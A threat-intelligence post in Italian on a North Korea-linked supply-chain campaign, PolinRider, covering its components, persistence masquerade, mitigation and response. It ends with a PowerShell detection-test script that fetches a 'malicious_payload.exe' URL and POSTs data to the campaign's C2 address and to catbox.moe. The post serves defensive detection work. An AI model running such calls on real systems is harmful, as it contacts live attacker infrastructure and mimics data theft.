SOC Prime Bias: Critical

15 Sep 2026 14:55 UTC

La campagna DPRK PolinRider mostra attività di catena di fornitura con interazione diretta

Author Photo
SOC Prime Team linkedin icon Segui
La campagna DPRK PolinRider mostra attività di catena di fornitura con interazione diretta
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Un attore di minaccia collegato alla Corea del Nord ha condotto un attacco alla catena di approvvigionamento contro gli ambienti di sviluppo utilizzando pacchetti Python trojanizzati. La catena di intrusione includeva un loader Node.js, un impianto C2 JavaScript e uno stealer di informazioni basato su Python. L’attore ha stabilito la persistenza mascherando i componenti dannosi come legittimi servizi di ottimizzazione Microsoft .NET.

Indagine

L’indagine si è svolta in un ambiente di inganno ad alta fedeltà dove una workstation aziendale esca è stata monitorata per 167 ore. Gli analisti hanno catturato in tempo reale attività manuali, tra cui l’esecuzione di payload dannosi e la preparazione dei dati. La telemetria raccolta ha esposto l’intera catena di attacco, dalla compromissione iniziale attraverso un repository dannoso fino all’esfiltrazione di dati dall’host.

Mitigazione

Le organizzazioni dovrebbero applicare una scansione rigorosa delle dipendenze su npm, PyPI e altri gestori di pacchetti. Il filtraggio in uscita dovrebbe bloccare le connessioni HTTP agli indirizzi IP pubblici non elaborati su porte non standard. I difensori dovrebbero anche monitorare per meccanismi di persistenza inusuali, inclusi attività pianificate o voci di registro che imitano componenti Microsoft .NET dai percorsi del profilo di sistema.

Risposta

Se viene rilevata un’attività dannosa, i team di sicurezza dovrebbero isolare immediatamente l’ambiente di sviluppo o di build interessato. I responsabili dovrebbero cercare noti indirizzi IP C2 e modelli di file sospetti come SvcHostUpdate.py. Dovrebbe anche essere eseguita una revisione forense delle dipendenze di terze parti installate di recente, insieme a un audit del profilo di sistema per eventuali MicrosoftCLROptimization artefatti non autorizzati.

Flusso di Attacco

Stiamo ancora aggiornando questa parte.

Esecuzione della Simulazione

  • Narrazione dell’Attacco e Comandi: L’avversario mira a progredire l’infezione recuperando un payload di seconda fase ed esfiltrando dati di configurazione rubati. Per imitare PolinRider, l’attaccante farà:

    1. Use curl or Invoke-WebRequest per recuperare un file fittizio da un URL “raw” di GitLab.
    2. Eseguire una richiesta POST all’indirizzo IP C2 identificato (150.251.113.223:8443) mentre simula un User-Agent che corrisponde al modello rotating.*agent .
    3. Collegarsi a dns.catbox.moe per simulare un heartbeat C2 secondario o la consegna di un payload. Queste azioni sono progettate per attivare i tre distinti criteri di selezione nella regola Sigma.
  • Script di Test di Regressione:

     # Script di Simulazione PolinRider
    
      Write-Host "[!] Avvio Simulazione Rete PolinRider..." -ForegroundColor Cyan
    
      # 1. Attivare Selezione 2: Recupero da GitLab Raw
      Write-Host "[*] Attivazione Selezione 2: Recupero GitLab Raw..."
      Invoke-WebRequest -Uri "https://gitlab.com/api/v4/raw/malicious_payload.exe" -Method Get -UserAgent "Mozilla/5.0"
    
      # 2. Attivare Selezione 1: POST a C2 con User-Agent Rotante
      Write-Host "[*] Attivazione Selezione 1: POST C2 con User-Agent Rotante..."
      $c2Url = "http://150.251.113.223:8443/upload"
      $fakeUA = "Mozilla/5.0 rotating-agent-v1.2"
      Invoke-WebRequest -Uri $c2Url -Method POST -UserAgent $fakeUA -Body "dummy_data"
    
      # 3. Attivare Selezione 3: Modello DNS/URL per catbox.moe
      Write-Host "[*] Attivazione Selezione 3: Connessione Catbox.moe..."
      Invoke-WebRequest -Uri "https://dns.catbox.moe/check" -Method Get -UserAgent "Mozilla/5.0"
    
      Write-Host "[+] Simulazione Completa. Controlla SIEM per gli avvisi." -ForegroundColor Green
  • Comandi di Pulizia:

     # Nessuna modifica persistente effettuata al sistema;
      # Le connessioni di rete sono effimere.
      # Nessun file è stato scritto su disco in questa simulazione.
      Write-Host "[*] Pulizia: Nessun file o chiave di registro è stato modificato. La simulazione è pulita." -ForegroundColor Cyan